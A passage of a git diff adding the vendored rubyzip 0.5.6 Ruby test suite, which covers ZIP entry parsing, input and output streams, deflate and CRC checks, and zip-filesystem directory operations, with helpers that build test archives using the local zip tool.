ZipFile.open(TEST_ZIP) { + |zf| + + zf.file.open("test_open_write_entry", "w") { + |f| + blockCalled = true + f.write "This is what I'm writing" + } + assert_equals("This is what I'm writing", + zf.file.read("test_open_write_entry")) + + # Test with existing entry + zf.file.open("file1", "w") { + |f| + blockCalled = true + f.write "This is what I'm writing too" + } + assert_equals("This is what I'm writing too", + zf.file.read("file1")) + } + end + + def test_rename + ZipFile.open(TEST_ZIP) { + |zf| + assert_exception(Errno::ENOENT, "") { + zf.file.rename("NoSuchFile", "bimse") + } + zf.file.rename("file1", "newNameForFile1") + } + + ZipFile.open(TEST_ZIP) { + |zf| + assert(! zf.file.exists?("file1")) + assert(zf.file.exists?("newNameForFile1")) + } + end + + def do_test_delete_or_unlink(symbol) + ZipFile.open(TEST_ZIP) { + |zf| + assert(zf.file.exists?("dir2/dir21/dir221/file2221")) + zf.file.send(symbol, "dir2/dir21/dir221/file2221") + assert(! zf.file.exists?("dir2/dir21/dir221/file2221")) + + assert(zf.file.exists?("dir1/file11")) + assert(zf.file.exists?("dir1/file12")) + zf.file.send(symbol, "dir1/file11", "dir1/file12") + assert(! zf.file.exists?("dir1/file11")) + assert(! zf.file.exists?("dir1/file12")) + + assert_exception(Errno::ENOENT) { zf.file.send(symbol, "noSuchFile") } + assert_exception(Errno::EISDIR) { zf.file.send(symbol, "dir1/dir11") } + assert_exception(Errno::EISDIR) { zf.file.send(symbol, "dir1/dir11/") } + } + + ZipFile.open(TEST_ZIP) { + |zf| + assert(! zf.file.exists?("dir2/dir21/dir221/file2221")) + assert(! zf.file.exists?("dir1/file11")) + assert(! zf.file.exists?("dir1/file12")) + + assert(zf.file.exists?("dir1/dir11")) + assert(zf.file.exists?("dir1/dir11/")) + } + end + +end + +class ZipFsDirectoryTest < RUNIT::TestCase + TEST_ZIP = "zipWithDirs_copy.zip" + + def setup + File.copy("zipWithDirs.zip", TEST_ZIP) + end + + def test_delete + ZipFile.open(TEST_ZIP) { + |zf| + assert_exception(Errno::ENOENT, "No such file or directory - NoSuchFile.txt") { + zf.dir.delete("NoSuchFile.txt") + } + assert_exception(Errno::EINVAL, "Invalid argument - file1") { + zf.dir.delete("file1") + } + assert(zf.file.exists?("dir1")) + zf.dir.delete("dir1") + assert(! zf.file.exists?("dir1")) + } + end + + def test_mkdir + ZipFile.open(TEST_ZIP) { + |zf| + assert_exception(Errno::EEXIST, "File exists - dir1") { + zf.dir.mkdir("file1") + } + assert_exception(Errno::EEXIST, "File exists - dir1") { + zf.dir.mkdir("dir1") + } + assert(!zf.file.exists?("newDir")) + zf.dir.mkdir("newDir") + assert(zf.file.directory?("newDir")) + assert(!zf.file.exists?("newDir2")) + zf.dir.mkdir("newDir2", 3485) + assert(zf.file.directory?("newDir2")) + } + end + + def test_pwd_chdir_entries + ZipFile.open(TEST_ZIP) { + |zf| + assert_equals("/", zf.dir.pwd) + + assert_exception(Errno::ENOENT, "No such file or directory - no such dir") { + zf.dir.chdir "no such dir" + } + + assert_exception(Errno::EINVAL, "Invalid argument - file1") { + zf.dir.chdir "file1" + } + + assert_equals(["dir1", "dir2", "file1"].sort, zf.dir.entries(".").sort) + zf.dir.chdir "dir1" + assert_equals("/dir1", zf.dir.pwd) + assert_equals(["dir11", "file11", "file12"], zf.dir.entries(".").sort) + + zf.dir.chdir "../dir2/dir21" + assert_equals("/dir2/dir21", zf.dir.pwd) + assert_equals(["dir221"].sort, zf.dir.entries(".").sort) + } + end + + def test_foreach + ZipFile.open(TEST_ZIP) { + |zf| + + blockCalled = false + assert_exception(Errno::ENOENT, "No such file or directory - noSuchDir") { + zf.dir.foreach("noSuchDir") { |e| blockCalled = true } + } + assert(! blockCalled) + + assert_exception(Errno::ENOTDIR, "Not a directory - file1") { + zf.dir.foreach("file1") { |e| blockCalled = true } + } + assert(! blockCalled) + + entries = [] + zf.dir.foreach(".") { |e| entries << e } + assert_equals(["dir1", "dir2", "file1"].sort, entries.sort) + + entries = [] + zf.dir.foreach("dir1") { |e| entries << e } + assert_equals(["dir11", "file11", "file12"], entries.sort) + } + end + + def test_chroot + ZipFile.open(TEST_ZIP) { + |zf| + assert_exception(NotImplementedError) { + zf.dir.chroot + } + } + end + + # Globbing not supported yet + #def test_glob + # # test alias []-operator too + # fail "implement test" + #end + + def test_open_new + ZipFile.open(TEST_ZIP) { + |zf| + + assert_exception(Errno::ENOTDIR, "Not a directory - file1") { + zf.dir.new("file1") + } + + assert_exception(Errno::ENOENT, "No such file or directory - noSuchFile") { + zf.dir.new("noSuchFile") + } + + d = zf.dir.new(".") + assert_equals(["file1", "dir1", "dir2"].sort, d.entries.sort) + d.close + + zf.dir.open("dir1") { + |d| + assert_equals(["dir11", "file11", "file12"].sort, d.entries.sort) + } + } + end + +end + +class ZipFsDirIteratorTest < RUNIT::TestCase + + FILENAME_ARRAY = [ "f1", "f2", "f3", "f4", "f5", "f6" ] + + def setup + @dirIt = ZipFileSystem::ZipFsDirIterator.new(FILENAME_ARRAY) + end + + def test_close + @dirIt.close + assert_exception(IOError, "closed directory") { + @dirIt.each { |e| p e } + } + assert_exception(IOError, "closed directory") { + @dirIt.read + } + assert_exception(IOError, "closed directory") { + @dirIt.rewind + } + assert_exception(IOError, "closed directory") { + @dirIt.seek(0) + } + assert_exception(IOError, "closed directory") { + @dirIt.tell + } + + end + + def test_each + # Tested through Enumerable.entries + assert_equals(FILENAME_ARRAY, @dirIt.entries) + end + + def test_read + FILENAME_ARRAY.size.times { + |i| + assert_equals(FILENAME_ARRAY[i], @dirIt.read) + } + end + + def test_rewind + @dirIt.read + @dirIt.read + assert_equals(FILENAME_ARRAY[2], @dirIt.read) + @dirIt.rewind + assert_equals(FILENAME_ARRAY[0], @dirIt.read) + end + + def test_tell_seek + @dirIt.read + @dirIt.read + pos = @dirIt.tell + valAtPos = @dirIt.read + @dirIt.read + @dirIt.seek(pos) + assert_equals(valAtPos, @dirIt.read) + end + +end + + +# Copyright (C) 2002, 2003 Thomas Sondergaard +# rubyzip is free software; you can redistribute it and/or +# modify it under the terms of the ruby license. diff --git a/vendor/rubyzip-0.5.6/test/ziprequiretest.rb b/vendor/rubyzip-0.5.6/test/ziprequiretest.rb new file mode 100755 index 00000000..e27c400d --- /dev/null +++ b/vendor/rubyzip-0.5.6/test/ziprequiretest.rb @@ -0,0 +1,43 @@ +#!/usr/bin/env ruby + +$VERBOSE = true + +$: << ".." + +require 'rubyunit' +require 'zip/ziprequire' + +$: << 'rubycode.zip' << 'rubycode2.zip' + +class ZipRequireTest < RUNIT::TestCase + def test_require + assert(require('notzippedruby')) + assert(!require('notzippedruby')) + + assert(require('zippedruby1')) + assert(!require('zippedruby1')) + + assert(require('zippedruby2')) + assert(!require('zippedruby2')) + + assert(require('zippedruby3')) + assert(!require('zippedruby3')) + + c1 = NotZippedRuby.new + assert(c1.returnTrue) + assert(ZippedRuby1.returnTrue) + assert(!ZippedRuby2.returnFalse) + assert_equals(4, ZippedRuby3.multiplyValues(2, 2)) + end + + def test_get_resource + get_resource("aResource.txt") { + |f| + assert_equals("Nothing exciting in this file!", f.read) + } + end +end + +# Copyright (C) 2002 Thomas Sondergaard +# rubyzip is free software; you can redistribute it and/or +# modify it under the terms of the ruby license. diff --git a/vendor/rubyzip-0.5.6/test/ziptest.rb b/vendor/rubyzip-0.5.6/test/ziptest.rb new file mode 100755 index 00000000..d8852006 --- /dev/null +++ b/vendor/rubyzip-0.5.6/test/ziptest.rb @@ -0,0 +1,1700 @@ +#!/usr/bin/env ruby + +$VERBOSE = true + +$: << ".." + +require 'rubyunit' +require 'zip/zip' + +include Zip + + +class ZipEntryTest < RUNIT::TestCase + TEST_ZIPFILE = "someZipFile.zip" + TEST_COMMENT = "a comment" + TEST_COMPRESSED_SIZE = 1234 + TEST_CRC = 325324 + TEST_EXTRA = "Some data here" + TEST_COMPRESSIONMETHOD = ZipEntry::DEFLATED + TEST_NAME = "entry name" + TEST_SIZE = 8432 + TEST_ISDIRECTORY = false + + def test_constructorAndGetters + entry = ZipEntry.new(TEST_ZIPFILE, + TEST_NAME, + TEST_COMMENT, + TEST_EXTRA, + TEST_COMPRESSED_SIZE, + TEST_CRC, + TEST_COMPRESSIONMETHOD, + TEST_SIZE) + + assert_equals(TEST_COMMENT, entry.comment) + assert_equals(TEST_COMPRESSED_SIZE, entry.compressed_size) + assert_equals(TEST_CRC, entry.crc) + assert_instance_of(Zip::ZipExtraField, entry.extra) + assert_equals(TEST_COMPRESSIONMETHOD, entry.compression_method) + assert_equals(TEST_NAME, entry.name) + assert_equals(TEST_SIZE, entry.size) + assert_equals(TEST_ISDIRECTORY, entry.is_directory) + end + + def test_is_directoryAndIsFile + assert(ZipEntry.new(TEST_ZIPFILE, "hello").file?) + assert(! ZipEntry.new(TEST_ZIPFILE, "hello").directory?) + + assert(ZipEntry.new(TEST_ZIPFILE, "dir/hello").file?) + assert(! ZipEntry.new(TEST_ZIPFILE, "dir/hello").directory?) + + assert(ZipEntry.new(TEST_ZIPFILE, "hello/").directory?) + assert(! ZipEntry.new(TEST_ZIPFILE, "hello/").file?) + + assert(ZipEntry.new(TEST_ZIPFILE, "dir/hello/").directory?) + assert(! ZipEntry.new(TEST_ZIPFILE, "dir/hello/").file?) + end + + def test_equality + entry1 = ZipEntry.new("file.zip", "name", "isNotCompared", + "something extra", 123, 1234, + ZipEntry::DEFLATED, 10000) + entry2 = ZipEntry.new("file.zip", "name", "isNotComparedXXX", + "something extra", 123, 1234, + ZipEntry::DEFLATED, 10000) + entry3 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", + "something extra", 123, 1234, + ZipEntry::DEFLATED, 10000) + entry4 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", + "something extraXX", 123, 1234, + ZipEntry::DEFLATED, 10000) + entry5 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", + "something extraXX", 12, 1234, + ZipEntry::DEFLATED, 10000) + entry6 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", + "something extraXX", 12, 123, + ZipEntry::DEFLATED, 10000) + entry7 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", + "something extraXX", 12, 123, + ZipEntry::STORED, 10000) + entry8 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", + "something extraXX", 12, 123, + ZipEntry::STORED, 100000) + + assert_equals(entry1, entry1) + assert_equals(entry1, entry2) + + assert(entry2 != entry3) + assert(entry3 != entry4) + assert(entry4 != entry5) + assert(entry5 != entry6) + assert(entry6 != entry7) + assert(entry7 != entry8) + + assert(entry7 != "hello") + assert(entry7 != 12) + + assert(entry7 != ZipStreamableFile.new(entry7, "aPath")) + end + + def test_compare + assert_equals(0, (ZipEntry.new("zf.zip", "a") <=> ZipEntry.new("zf.zip", "a"))) + assert_equals(1, (ZipEntry.new("zf.zip", "b") <=> ZipEntry.new("zf.zip", "a"))) + assert_equals(-1, (ZipEntry.new("zf.zip", "a") <=> ZipEntry.new("zf.zip", "b"))) + + entries = [ + ZipEntry.new("zf.zip", "5"), + ZipEntry.new("zf.zip", "1"), + ZipEntry.new("zf.zip", "3"), + ZipEntry.new("zf.zip", "4"), + ZipEntry.new("zf.zip", "0"), + ZipEntry.new("zf.zip", "2") + ] + + entries.sort! + assert_equals("0", entries[0].to_s) + assert_equals("1", entries[1].to_s) + assert_equals("2", entries[2].to_s) + assert_equals("3", entries[3].to_s) + assert_equals("4", entries[4].to_s) + assert_equals("5", entries[5].to_s) + end + + def test_parentAsString + entry1 = ZipEntry.new("zf.zip", "aa") + entry2 = ZipEntry.new("zf.zip", "aa/") + entry3 = ZipEntry.new("zf.zip", "aa/bb") + entry4 = ZipEntry.new("zf.zip", "aa/bb/") + entry5 = ZipEntry.new("zf.zip", "aa/bb/cc") + entry6 = ZipEntry.new("zf.zip", "aa/bb/cc/") + + assert_equals(nil, entry1.parent_as_string) + assert_equals(nil, entry2.parent_as_string) + assert_equals("aa/", entry3.parent_as_string) + assert_equals("aa/", entry4.parent_as_string) + assert_equals("aa/bb/", entry5.parent_as_string) + assert_equals("aa/bb/", entry6.parent_as_string) + end + + def test_entry_name_cannot_start_with_slash + assert_exception(ZipEntryNameError) { ZipEntry.new("zf.zip", "/hej/der") } + end +end + +module IOizeString + attr_reader :tell + + def read(count = nil) + @tell ||= 0 + count = size unless count + retVal = slice(@tell, count) + @tell += count + return retVal + end + + def seek(index, offset) + @tell ||= 0 + case offset + when IO::SEEK_END + newPos = size + index + when IO::SEEK_SET + newPos = index + when IO::SEEK_CUR + newPos = @tell + index + else + raise "Error in test method IOizeString::seek" + end + if (newPos < 0 || newPos >= size) + raise Errno::EINVAL + else + @tell=newPos + end + end + + def reset + @tell = 0 + end +end + +class ZipLocalEntryTest < RUNIT::TestCase + def test_read_local_entryHeaderOfFirstTestZipEntry + File.open(TestZipFile::TEST_ZIP3.zip_name, "rb") { + |file| + entry = ZipEntry.read_local_entry(file) + + assert_equal("", entry.comment) + # Differs from windows and unix because of CR LF + # assert_equal(480, entry.compressed_size) + # assert_equal(0x2a27930f, entry.crc) + # extra field is 21 bytes long + # probably contains some unix attrutes or something + # disabled: assert_equal(nil, entry.extra) + assert_equal(ZipEntry::DEFLATED, entry.compression_method) + assert_equal(TestZipFile::TEST_ZIP3.entry_names[0], entry.name) + assert_equal(File.size(TestZipFile::TEST_ZIP3.entry_names[0]), entry.size) + assert(! entry.is_directory) + } + end + + def test_readDateTime + File.open("rubycode.zip", "rb") { + |file| + entry = ZipEntry.read_local_entry(file) + assert_equals("zippedruby1.rb", entry.name) + assert_equals(Time.at(1019261638), entry.time) + } + end + + def test_read_local_entryFromNonZipFile + File.open("file2.txt") { + |file| + assert_equals(nil, ZipEntry.read_local_entry(file)) + } + end + + def test_read_local_entryFromTruncatedZipFile + zipFragment="" + File.open(TestZipFile::TEST_ZIP2.zip_name) { |f| zipFragment = f.read(12) } # local header is at least 30 bytes + zipFragment.extend(IOizeString).reset + entry = ZipEntry.new + entry.read_local_entry(zipFragment) + fail "ZipError expected" + rescue ZipError + end + + def test_writeEntry + entry = ZipEntry.new("file.zip", "entryName", "my little comment", + "thisIsSomeExtraInformation", 100, 987654, + ZipEntry::DEFLATED, 400) + write_to_file("localEntryHeader.bin", "centralEntryHeader.bin", entry) + entryReadLocal, entryReadCentral = read_from_file("localEntryHeader.bin", "centralEntryHeader.bin") + compare_local_entry_headers(entry, entryReadLocal) + compare_c_dir_entry_headers(entry, entryReadCentral) + end + + private + def compare_local_entry_headers(entry1, entry2) + assert_equals(entry1.compressed_size , entry2.compressed_size) + assert_equals(entry1.crc , entry2.crc) + assert_equals(entry1.extra , entry2.extra) + assert_equals(entry1.compression_method, entry2.compression_method) + assert_equals(entry1.name , entry2.name) + assert_equals(entry1.size , entry2.size) + assert_equals(entry1.localHeaderOffset, entry2.localHeaderOffset) + end + + def compare_c_dir_entry_headers(entry1, entry2) + compare_local_entry_headers(entry1, entry2) + assert_equals(entry1.comment, entry2.comment) + end + + def write_to_file(localFileName, centralFileName, entry) + File.open(localFileName, "wb") { |f| entry.write_local_entry(f) } + File.open(centralFileName, "wb") { |f| entry.write_c_dir_entry(f) } + end + + def read_from_file(localFileName, centralFileName) + localEntry = nil + cdirEntry = nil + File.open(localFileName, "rb") { |f| localEntry = ZipEntry.read_local_entry(f) } + File.open(centralFileName, "rb") { |f| cdirEntry = ZipEntry.read_c_dir_entry(f) } + return [localEntry, cdirEntry] + end +end + + +module DecompressorTests + # expects @refText, @refLines and @decompressor + + TEST_FILE="file1.txt" + + def setup + @refText="" + File.open(TEST_FILE) { |f| @refText = f.read } + @refLines = @refText.split($/) + end + + def test_readEverything + assert_equals(@refText, @decompressor.read) + end + + def test_readInChunks + chunkSize = 5 + while (decompressedChunk = @decompressor.read(chunkSize)) + assert_equals(@refText.slice!(0, chunkSize), decompressedChunk) + end + assert_equals(0, @refText.size) + end + + def test_mixingReadsAndProduceInput + # Just some preconditions to make sure we have enough data for this test + assert(@refText.length > 1000) + assert(@refLines.length > 40) + + + assert_equals(@refText[0...100], @decompressor.read(100)) + + assert(! @decompressor.input_finished?) + buf = @decompressor.produce_input + assert_equals(@refText[100...(100+buf.length)], buf) + end +end + +class InflaterTest < RUNIT::TestCase + include DecompressorTests + + def setup + super + @file = File.new("file1.txt.deflatedData", "rb") + @decompressor = Inflater.new(@file) + end + + def teardown + @file.close + end +end + + +class PassThruDecompressorTest < RUNIT::TestCase + include DecompressorTests + def setup + super + @file = File.new(TEST_FILE) + @decompressor = PassThruDecompressor.new(@file, File.size(TEST_FILE)) + end + + def teardown + @file.close + end +end + + +module AssertEntry + def assert_next_entry(filename, zis) + assert_entry(filename, zis, zis.get_next_entry.name) + end + + def assert_entry(filename, zis, entryName) + assert_equals(filename, entryName) + assert_entryContentsForStream(filename, zis, entryName) + end + + def assert_entryContentsForStream(filename, zis, entryName) + File.open(filename, "rb") { + |file| + expected = file.read + actual = zis.read + if (expected != actual) + if ((expected && actual) && (expected.length > 400 || actual.length > 400)) + zipEntryFilename=entryName+".zipEntry" + File.open(zipEntryFilename, "wb") { |file| file << actual } + fail("File '#{filename}' is different from '#{zipEntryFilename}'") + else + assert_equals(expected, actual) + end + end + } + end + + def AssertEntry.assert_contents(filename, aString) + fileContents = "" + File.open(filename, "rb") { |f| fileContents = f.read } + if (fileContents != aString) + if (fileContents.length > 400 || aString.length > 400) + stringFile = filename + ".other" + File.open(stringFile, "wb") { |f| f << aString } + fail("File '#{filename}' is different from contents of string stored in '#{stringFile}'") + else + assert_equals(fileContents, aString) + end + end + end + + def assert_stream_contents(zis, testZipFile) + assert(zis != nil) + testZipFile.entry_names.each { + |entryName| + assert_next_entry(entryName, zis) + } + assert_equals(nil, zis.get_next_entry) + end + + def assert_test_zip_contents(testZipFile) + ZipInputStream.open(testZipFile.zip_name) { + |zis| + assert_stream_contents(zis, testZipFile) + } + end + + def assert_entryContents(zipFile, entryName, filename = entryName.to_s) + zis = zipFile.get_input_stream(entryName) + assert_entryContentsForStream(filename, zis, entryName) + ensure + zis.close if zis + end +end + + + +class ZipInputStreamTest < RUNIT::TestCase + include AssertEntry + + def test_new + zis = ZipInputStream.new(TestZipFile::TEST_ZIP2.zip_name) + assert_stream_contents(zis, TestZipFile::TEST_ZIP2) + zis.close + end + + def test_openWithBlock + ZipInputStream.open(TestZipFile::TEST_ZIP2.zip_name) { + |zis| + assert_stream_contents(zis, TestZipFile::TEST_ZIP2) + } + end + + def test_openWithoutBlock + zis = ZipInputStream.open(TestZipFile::TEST_ZIP2.zip_name) + assert_stream_contents(zis, TestZipFile::TEST_ZIP2) + end + + def test_incompleteReads + ZipInputStream.open(TestZipFile::TEST_ZIP2.zip_name) { + |zis| + entry = zis.get_next_entry + assert_equals(TestZipFile::TEST_ZIP2.entry_names[0], entry.name) + assert zis.gets.length > 0 + entry = zis.get_next_entry + assert_equals(TestZipFile::TEST_ZIP2.entry_names[1], entry.name) + assert_equals(0, entry.size) + assert_equals(nil, zis.gets) + entry = zis.get_next_entry + assert_equals(TestZipFile::TEST_ZIP2.entry_names[2], entry.name) + assert zis.gets.length > 0 + entry = zis.get_next_entry + assert_equals(TestZipFile::TEST_ZIP2.entry_names[3], entry.name) + assert zis.gets.length > 0 + } + end + + def test_rewind + ZipInputStream.open(TestZipFile::TEST_ZIP2.zip_name) { + |zis| + e = zis.get_next_entry + assert_equals(TestZipFile::TEST_ZIP2.entry_names[0], e.name) + + # Do a little reading + buf = "" + buf << zis.read(100) + buf << (zis.gets || "") + buf << (zis.gets || "") + + zis.rewind + + buf2 = "" + buf2 << zis.read(100) + buf2 << (zis.gets || "") + buf2 << (zis.gets || "") + + assert_equals(buf, buf2) + + zis.rewind + + assert_entry(e.name, zis, e.name) + } + end + +end + +class TestFiles + RANDOM_ASCII_FILE1 = "randomAscii1.txt" + RANDOM_ASCII_FILE2 = "randomAscii2.txt" + RANDOM_ASCII_FILE3 = "randomAscii3.txt" + RANDOM_BINARY_FILE1 = "randomBinary1.bin" + RANDOM_BINARY_FILE2 = "randomBinary2.bin" + + EMPTY_TEST_DIR = "emptytestdir" + + ASCII_TEST_FILES = [ RANDOM_ASCII_FILE1, RANDOM_ASCII_FILE2, RANDOM_ASCII_FILE3 ] + BINARY_TEST_FILES = [ RANDOM_BINARY_FILE1, RANDOM_BINARY_FILE2 ] + TEST_DIRECTORIES = [ EMPTY_TEST_DIR ] + TEST_FILES = [ ASCII_TEST_FILES, BINARY_TEST_FILES, EMPTY_TEST_DIR ].flatten! + + def TestFiles.create_test_files(recreate) + if (recreate || + ! (TEST_FILES.inject(true) { |accum, element| accum && File.exists?(element) })) + + ASCII_TEST_FILES.each_with_index { + |filename, index| + create_random_ascii(filename, 1E4 * (index+1)) + } + + BINARY_TEST_FILES.each_with_index { + |filename, index| + create_random_binary(filename, 1E4 * (index+1)) + } + + ensure_dir(EMPTY_TEST_DIR) + end + end + + private + def TestFiles.create_random_ascii(filename, size) + File.open(filename, "wb") { + |file| + while (file.tell < size) + file << rand + end + } + end + + def TestFiles.create_random_binary(filename, size) + File.open(filename, "wb") { + |file| + while (file.tell < size) + file << [rand].pack("V") + end + } + end + + def TestFiles.ensure_dir(name) + if File.exists?(name) + return if File.stat(name).directory? + File.delete(name) + end + Dir.mkdir(name) + end + +end + +# For representation and creation of +# test data +class TestZipFile + attr_accessor :zip_name, :entry_names, :comment + + def initialize(zip_name, entry_names, comment = "") + @zip_name=zip_name + @entry_names=entry_names + @comment = comment + end + + def TestZipFile.create_test_zips(recreate) + files = Dir.entries(".") + if (recreate || + ! (files.index(TEST_ZIP1.zip_name) && + files.index(TEST_ZIP2.zip_name) && + files.index(TEST_ZIP3.zip_name) && + files.index(TEST_ZIP4.zip_name) && + files.index("empty.txt") && + files.index("short.txt") && + files.index("longAscii.txt") && + files.index("longBinary.bin") )) + raise "failed to create test zip '#{TEST_ZIP1.zip_name}'" unless + system("zip #{TEST_ZIP1.zip_name} file2.txt") + raise "failed to remove entry from '#{TEST_ZIP1.zip_name}'" unless + system("zip #{TEST_ZIP1.zip_name} -d file2.txt") + + File.open("empty.txt", "w") {} + + File.open("short.txt", "w") { |file| file << "ABCDEF" } + ziptestTxt="" + File.open("file2.txt") { |file| ziptestTxt=file.read } + File.open("longAscii.txt", "w") { + |file| + while (file.tell < 1E5) + file << ziptestTxt + end + } + + testBinaryPattern="" + File.open("empty.zip") { |file| testBinaryPattern=file.read } + testBinaryPattern *= 4 + + File.open("longBinary.bin", "wb") { + |file| + while (file.tell < 3E5) + file << testBinaryPattern << rand + end + } + raise "failed to create test zip '#{TEST_ZIP2.zip_name}'" unless + system("zip #{TEST_ZIP2.zip_name} #{TEST_ZIP2.entry_names.join(' ')}") + + # without bash system interprets everything after echo as parameters to + # echo including | zip -z ... + raise "failed to add comment to test zip '#{TEST_ZIP2.zip_name}'" unless + system("bash -c \"echo #{TEST_ZIP2.comment} | zip -z #{TEST_ZIP2.zip_name}\"") + + raise "failed to create test zip '#{TEST_ZIP3.zip_name}'" unless + system("zip #{TEST_ZIP3.zip_name} #{TEST_ZIP3.entry_names.join(' ')}") + + raise "failed to create test zip '#{TEST_ZIP4.zip_name}'" unless + system("zip #{TEST_ZIP4.zip_name} #{TEST_ZIP4.entry_names.join(' ')}") + end + rescue + raise $!.to_s + + "\n\nziptest.rb requires the Info-ZIP program 'zip' in the path\n" + + "to create test data. If you don't have it you can download\n" + + "the necessary test files at http://sf.net/projects/rubyzip." + end + + TEST_ZIP1 = TestZipFile.new("empty.zip", []) + TEST_ZIP2 = TestZipFile.new("4entry.zip", %w{ longAscii.txt empty.txt short.txt longBinary.bin}, + "my zip comment") + TEST_ZIP3 = TestZipFile.new("test1.zip", %w{ file1.txt }) + TEST_ZIP4 = TestZipFile.new("zipWithDir.zip", [ "file1.txt", + TestFiles::EMPTY_TEST_DIR]) +end + + +module CrcTest + + class TestOutputStream + include IOExtras::AbstractOutputStream + + attr_accessor :buffer + + def initialize + @buffer = "" + end + + def << (data) + @buffer << data + self + end + end + + def run_crc_test(compressorClass) + str = "Here's a nice little text to compute the crc for! Ho hum, it is nice nice nice nice indeed." + fakeOut = TestOutputStream.new + + deflater = compressorClass.new(fakeOut) + deflater << str + assert_equals(0x919920fc, deflater.crc) + end +end + + + +class PassThruCompressorTest < RUNIT::TestCase + include CrcTest + + def test_size + File.open("dummy.txt", "wb") { + |file| + compressor = PassThruCompressor.new(file) + + assert_equals(0, compressor.size) + + t1 = "hello world" + t2 = "" + t3 = "bingo" + + compressor << t1 + assert_equals(compressor.size, t1.size) + + compressor << t2 + assert_equals(compressor.size, t1.size + t2.size) + + compressor << t3 + assert_equals(compressor.size, t1.size + t2.size + t3.size) + } + end + + def test_crc + run_crc_test(PassThruCompressor) + end +end + +class DeflaterTest < RUNIT::TestCase + include CrcTest + + def test_outputOperator + txt = load_file("file2.txt") + deflate(txt, "deflatertest.bin") + inflatedTxt = inflate("deflatertest.bin") + assert_equals(txt, inflatedTxt) + end + + private + def load_file(fileName) + txt = nil + File.open(fileName, "rb") { |f| txt = f.read } + end + + def deflate(data, fileName) + File.open(fileName, "wb") { + |file| + deflater = Deflater.new(file) + deflater << data + deflater.finish + assert_equals(deflater.size, data.size) + file << "trailing data for zlib with -MAX_WBITS" + } + end + + def inflate(fileName) + txt = nil + File.open(fileName, "rb") { + |file| + inflater = Inflater.new(file) + txt = inflater.read + } + end + + def test_crc + run_crc_test(Deflater) + end +end + +class ZipOutputStreamTest < RUNIT::TestCase + include AssertEntry + + TEST_ZIP = TestZipFile::TEST_ZIP2.clone + TEST_ZIP.zip_name = "output.zip" + + def test_new + zos = ZipOutputStream.new(TEST_ZIP.zip_name) + zos.comment = TEST_ZIP.comment + write_test_zip(zos) + zos.close + assert_test_zip_contents(TEST_ZIP) + end + + def test_open + ZipOutputStream.open(TEST_ZIP.zip_name) { + |zos| + zos.comment = TEST_ZIP.comment + write_test_zip(zos) + } + assert_test_zip_contents(TEST_ZIP) + end + + def test_writingToClosedStream + assert_i_o_error_in_closed_stream { |zos| zos << "hello world" } + assert_i_o_error_in_closed_stream { |zos| zos.puts "hello world" } + assert_i_o_error_in_closed_stream { |zos| zos.write "hello world" } + end + + def test_cannotOpenFile + name = TestFiles::EMPTY_TEST_DIR + begin + zos = ZipOutputStream.open(name) + rescue Exception + assert($!.kind_of?(Errno::EISDIR) || # Linux + $!.kind_of?(Errno::EEXIST) || # Windows/cygwin + $!.kind_of?(Errno::EACCES), # Windows + "Expected Errno::EISDIR (or on win/cygwin: Errno::EEXIST), but was: #{$!.class}") + end + end + + def assert_i_o_error_in_closed_stream + assert_exception(IOError) { + zos = ZipOutputStream.new("test_putOnClosedStream.zip") + zos.close + yield zos + } + end + + def write_test_zip(zos) + TEST_ZIP.entry_names.each { + |entryName| + zos.put_next_entry(entryName) + File.open(entryName, "rb") { |f| zos.write(f.read) } + } + end +end + + + +module Enumerable + def compare_enumerables(otherEnumerable) + otherAsArray = otherEnumerable.to_a + index=0 + each_with_index { + |element, index| + return false unless yield(element, otherAsArray[index]) + } + return index+1 == otherAsArray.size + end +end + + +class ZipCentralDirectoryEntryTest < RUNIT::TestCase + + def test_read_from_stream + File.open("testDirectory.bin", "rb") { + |file| + entry = ZipEntry.read_c_dir_entry(file) + + assert_equals("longAscii.txt", entry.name) + assert_equals(ZipEntry::DEFLATED, entry.compression_method) + assert_equals(106490, entry.size) + assert_equals(3784, entry.compressed_size) + assert_equals(0xfcd1799c, entry.crc) + assert_equals("", entry.comment) + + entry = ZipEntry.read_c_dir_entry(file) + assert_equals("empty.txt", entry.name) + assert_equals(ZipEntry::STORED, entry.compression_method) + assert_equals(0, entry.size) + assert_equals(0, entry.compressed_size) + assert_equals(0x0, entry.crc) + assert_equals("", entry.comment) + + entry = ZipEntry.read_c_dir_entry(file) + assert_equals("short.txt", entry.name) + assert_equals(ZipEntry::STORED, entry.compression_method) + assert_equals(6, entry.size) + assert_equals(6, entry.compressed_size) + assert_equals(0xbb76fe69, entry.crc) + assert_equals("", entry.comment) + + entry = ZipEntry.read_c_dir_entry(file) + assert_equals("longBinary.bin", entry.name) + assert_equals(ZipEntry::DEFLATED, entry.compression_method) + assert_equals(1000024, entry.size) + assert_equals(70847, entry.compressed_size) + assert_equals(0x10da7d59, entry.crc) + assert_equals("", entry.comment) + + entry = ZipEntry.read_c_dir_entry(file) + assert_equals(nil, entry) +# Fields that are not check by this test: +# version made by 2 bytes +# version needed to extract 2 bytes +# general purpose bit flag 2 bytes +# last mod file time 2 bytes +# last mod file date 2 bytes +# compressed size 4 bytes +# uncompressed size 4 bytes +# disk number start 2 bytes +# internal file attributes 2 bytes +# external file attributes 4 bytes +# relative offset of local header 4 bytes + +# file name (variable size) +# extra field (variable size) +# file comment (variable size) + + } + end + + def test_ReadEntryFromTruncatedZipFile + fragment="" + File.open("testDirectory.bin") { |f| fragment = f.read(12) } # cdir entry header is at least 46 bytes + fragment.extend(IOizeString) + entry = ZipEntry.new + entry.read_c_dir_entry(fragment) + fail "ZipError expected" + rescue ZipError + end + +end + + +class ZipEntrySetTest < RUNIT::TestCase + ZIP_ENTRIES = [ + ZipEntry.new("zipfile.zip", "name1", "comment1"), + ZipEntry.new("zipfile.zip", "name2", "comment1"), + ZipEntry.new("zipfile.zip", "name3", "comment1"), + ZipEntry.new("zipfile.zip", "name4", "comment1"), + ZipEntry.new("zipfile.zip", "name5", "comment1"), + ZipEntry.new("zipfile.zip", "name6", "comment1") + ] + + def setup + @zipEntrySet = ZipEntrySet.new(ZIP_ENTRIES) + end + + def test_include + assert(@zipEntrySet.include?(ZIP_ENTRIES.first)) + assert(! @zipEntrySet.include?(ZipEntry.new("different.zip", "different", "aComment"))) + end + + def test_size + 